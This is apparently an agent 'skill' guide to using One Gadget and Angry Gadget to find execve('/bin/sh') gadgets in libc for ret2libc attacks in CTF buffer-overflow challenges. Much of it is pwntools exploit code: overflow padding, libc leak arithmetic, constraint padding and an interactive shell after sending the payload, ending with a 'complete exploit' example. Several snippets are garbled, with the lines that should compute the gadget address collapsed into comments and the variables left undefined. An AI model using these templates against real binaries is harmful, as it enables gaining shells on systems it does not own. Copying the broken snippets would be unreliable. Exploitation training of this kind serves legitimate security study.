One Gadget ROP Helper
A skill for using One Gadget and Angry Gadget to find shell-spawning gadgets in libc for ret2lib attacks.
What This Skill Does
This skill helps you:
- Find one-gadget addresses in libc that spawn shells with a single ROP chain entry
- Understand and satisfy gadget constraints (like
[rsp+0x30] == NULL) - Generate proper ROP chains with one-gadget addresses
- Use Angry Gadget as a fallback when One Gadget finds no gadgets
- Handle different architectures (x86_64, ARM64)
When to Use This Skill
Use this skill when:
- You need to spawn a shell in a binary exploitation challenge
- You're doing ret2lib attacks and want to avoid building complex ROP chains
- You have libc addresses and need to find execve gadgets
- One Gadget returns no results and you need alternatives
- You're working on CTF challenges involving buffer overflows and libc exploitation
Core Concepts
What is One Gadget?
One Gadget finds addresses in libc that execute execve("/bin/sh") with a single ROP chain entry. This simplifies exploitation by:
- Eliminating the need for
system("/bin/sh")chains - Reducing ROP chain complexity
- Working even when
/bin/shstring isn't in memory
Common Constraints
One Gadget gadgets often have constraints. The most common:
| Constraint | Meaning | How to Satisfy |
|---|---|---|
[rsp+0x30] == NULL |
Stack at offset 0x30 must be NULL | Add padding with \x00 bytes |
[rsp+0x20] == NULL |
Stack at offset 0x20 must be NULL | Add padding with \x00 bytes |
rdx == NULL |
RDX register must be NULL | Ensure RDX is cleared or controlled |
rdi == NULL |
RDI register must be NULL | Ensure RDI is cleared or controlled |
Basic Usage Pattern
from pwn import *
# Get libc base address (from leak or known)
libc_base = libc.address
# One Gadget address (from one_gadget output) # Example offset + ONE_GADGET_OFFSET
# Build ROP chain with padding for constraints
rop_chain = p64(ONE_GADGET) + b"\x00" * 100 # Padding for [rsp+0x30] == NULL
# Send the payload
io.sendline(rop_chain)
Step-by-Step Workflow
Step 1: Find One Gadget Addresses
# Install one_gadget (if not already installed)
# Download from: https://github.com/david942j/one_gadget/releases
# Run against your libc
./one_gadget /path/to/libc.so.6
Example output:
0x4526a ; rdx == NULL
0x45276 ; rdx == NULL
0xf0364 ; rdx == NULL
Step 2: Choose a Gadget
Pick a gadget with constraints you can satisfy. Prefer gadgets with:
- Fewer constraints
- Constraints you can easily meet (like NULL stack values)
Step 3: Calculate the Address
# In pwntools
libc_base = libc.address # From leak or known # From one_gadget output + one_gadget_offset
Step 4: Build the ROP Chain
from pwn import *
# Basic chain with NULL padding
rop = p64(one_gadget_addr) + b"\x00" * 100
# Or with specific constraint handling
rop = p64(one_gadget_addr)
rop += b"\x00" * 0x30 # Satisfy [rsp+0x30] == NULL
Step 5: Send the Payload
# For buffer overflow
io.sendline(rop)
# For ret2libc
payload = b"A" * offset + p64(one_gadget_addr) + b"\x00" * 100
io.sendline(payload)
Using Angry Gadget
When One Gadget finds no gadgets (common on ARM64 or newer libc versions), use Angry Gadget:
# Install
pip install angry_gadget
# Run against libc
angry_gadget.py /path/to/libc.so.6
Angry Gadget:
- Uses angr for constraint solving
- Finds more gadgets with complex constraints
- May require more work to satisfy constraints
Architecture-Specific Notes
x86_64
One Gadget works well on x86_64. Common offsets:
0x4526a- Common in glibc 2.23-2.310xf0364- Alternative in some versions
ARM64
One Gadget often finds no gadgets on ARM64 (especially Kali 2023.3+). Use Angry Gadget instead:
angry_gadget.py libc.so.6
Common Pitfalls
Pitfall 1: Forgetting to Add libc Base
# WRONG - using offset directly # This is just an offset!
# RIGHT - add libc base + 0x4526a
Pitfall 2: Not Satisfying Constraints
# WRONG - no padding
rop = p64(ONE_GADGET)
# RIGHT - add padding for [rsp+0x30] == NULL
rop = p64(ONE_GADGET) + b"\x00" * 100
Pitfall 3: Wrong Endianness
# WRONG - string instead of packed
rop = "\x6a\x25\x04\x00\x00\x00\x00\x00"
# RIGHT - use p64
rop = p64(ONE_GADGET)
Integration with pwntools
from pwn import *
# Setup
context.arch = 'amd64'
context.os = 'linux'
# Get libc (from leak or known)
libc = ELF('./libc.so.6')
# Find one_gadget + one_gadget_offset
# Build payload
payload = b"A" * 0x118 # Buffer offset
payload += p64(one_gadget)
payload += b"\x00" * 100 # Constraint padding
# Send
io = process('./vuln')
io.sendline(payload)
io.interactive()
Debugging Tips
Check if libc is Correct
# Verify libc base
print(f"libc base: {hex(libc.address)}")
print(f"one_gadget: {hex(one_gadget)}")
Test Constraints
# Check what constraints your gadget has
# Run: ./one_gadget libc.so.6
# Look for the constraint next to your chosen offset
Verify Shell Spawn
# After sending payload, check if shell spawned
io.interactive()
# If you get a shell, it worked!
# If not, check constraints and libc address
Example: Complete Exploit
from pwn import *
# Setup
context.log_level = 'debug'
context.arch = 'amd64'
# Connect
io = process('./vuln')
# Leak libc (example)
libc_leak = u64(io.recv(6) + b"\x00\x00")
libc_base = libc_leak - 0x21900 # Adjust offset
# One Gadget + one_gadget_offset
# Build payload
payload = b"A" * 0x118
payload += p64(one_gadget)
payload += b"\x00" * 100
# Send
io.sendline(payload)
io.interactive()
Quick Reference
| Task | Command/Code |
|---|---|
| Find gadgets | ./one_gadget libc.so.6 |
| Install Angry Gadget | pip install angry_gadget |
| Run Angry Gadget | angry_gadget.py libc.so.6 |
| Calculate address | one_gadget = libc.address + offset |
| Build chain | p64(one_gadget) + b"\x00" * 100 |
| Send payload | io.sendline(payload) |
Resources
When This Skill Doesn't Apply
This skill is specifically for:
- ret2lib attacks using libc gadgets
- Binary exploitation with known libc
- CTF challenges involving buffer overflows
Don't use this skill for:
- Format string vulnerabilities (use format-string skill)
- Heap exploitation (use heap-exploitation skill)
- Kernel exploitation (different techniques)
- Web application security (different domain)